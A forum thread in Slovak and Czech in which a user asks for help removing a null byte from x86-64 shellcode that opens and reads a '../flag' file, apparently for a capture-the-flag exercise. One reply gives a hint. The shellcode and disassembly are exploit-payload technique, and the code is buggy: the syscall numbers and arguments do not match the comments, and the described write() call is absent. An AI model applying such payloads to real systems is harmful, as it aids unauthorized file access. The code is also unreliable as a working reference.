Přidat otázku mezi oblíbenéZasílat nové odpovědi e-mailem shellcode na čitanie súboru

Dobrý deň, potrebujem urobiť shellcode ktorý nemá zbytočné bajty . Mám nájsť flag ktorý sa schováva na ceste ktorá je v kóde. Kód funguje avšak nachádza sa tam jeden nulový bajt a ja už neviem čo iné mam robiť. vedeli by ste mi pomôcť?

.global _start
_start:
.intel_syntax noprefix

xor rax, rax
inc rax
inc rax

# Uloženie "../flag" na zásobník
mov rbx, 0x67616c662f2e2e # ".. / f l a g" (little-endian)
push rbx
mov rdi, rsp # rdi teraz ukazuje na reťazec v zásobníku

xor rsi, rsi # flags = 0 (O_RDONLY)
xor rdx, rdx # mode = 0
xor rax, rax
inc rax
inc rax
# syscall: open
syscall

mov rcx, rax

xor rax, rax # rax = 0
mov al, 0x28 # syscall číslo 40 (read)
xor rdi, rdi # rdi = 0 (stdin)
inc rdi # rdi = file descriptor flagu
mov rsi, rcx # buffer = obsah flagu
xor rdx, rdx # počet bajtov na čítanie = 0
xor r10d, r10d # vyčistiť r10d
mov r10b, 0x60 # prečítať max 40 bajtov
syscall # read(fd, buffer, 40)
xor rax, rax # syscall: exit
mov al, 0x3c
xor rdi, rdi # exit code 0
syscall

flag:
.string "../flag"

0000000000001000 <_start>:
1000: 48 31 c0 xor %rax,%rax
1003: 48 ff c0 inc %rax
1006: 48 ff c0 inc %rax
1009: 48 bb 2e 2e 2f 66 6c movabs $0x67616c662f2e2e,%rbx
1010: 61 67 00 TU JE
1013: 53 push %rbx
1014: 48 89 e7 mov %rsp,%rdi
1017: 48 31 f6 xor %rsi,%rsi
101a: 48 31 d2 xor %rdx,%rdx
101d: 48 31 c0 xor %rax,%rax
1020: 48 ff c0 inc %rax
1023: 48 ff c0 inc %rax
1026: 0f 05 syscall
1028: 48 89 c1 mov %rax,%rcx
102b: 48 31 c0 xor %rax,%rax
102e: b0 28 mov $0x28,%al
1030: 48 31 ff xor %rdi,%rdi
1033: 48 ff c7 inc %rdi
1036: 48 89 ce mov %rcx,%rsi
1039: 48 31 d2 xor %rdx,%rdx
103c: 45 31 d2 xor %r10d,%r10d
103f: 41 b2 60 mov $0x60,%r10b
1042: 0f 05 syscall
1044: 48 31 c0 xor %rax,%rax
1047: b0 3c mov $0x3c,%al
1049: 48 31 ff xor %rdi,%rdi
104c: 0f 05 syscall

000000000000104e <flag>:
104e: 2e 2e 2f cs cs (bad)
1051: 66 6c data16 insb (%dx),%es:(%rdi)
1053: 61 (bad)
1054: 67 addr32

ento shellcode najprv vloží cestu ../flag na zásobník bez nulových bajtov. Potom zavolá syscall open(), aby súbor otvoril na čítanie. Ak sa podarí otvoriť, použije read(), aby načítal jeho obsah do zásobníka. Následne zavolá write(), aby flag vypísal na stdout. Nakoniec použije exit(), aby program bezpečne ukončil.

Předmět Autor Datum
zpracováváš 7 ASCII znaků, kolik má ten registr bitů? 8, 16, 32 nebo 64 bitů? :-) Assembler jsem te… poslední
touchwood 16.03.2025 20:56
touchwood

zpracováváš 7 ASCII znaků, kolik má ten registr bitů? 8, 16, 32 nebo 64 bitů? :-)

Assembler jsem teda neviděl už skoro 30 let (a už si toho moc nepamatuju), ale řekl bych, že ta tvá "nula" je nepoužitý "vocásek" k těm 7 bajtům...

Zpět do poradny Odpovědět na původní otázku Nahoru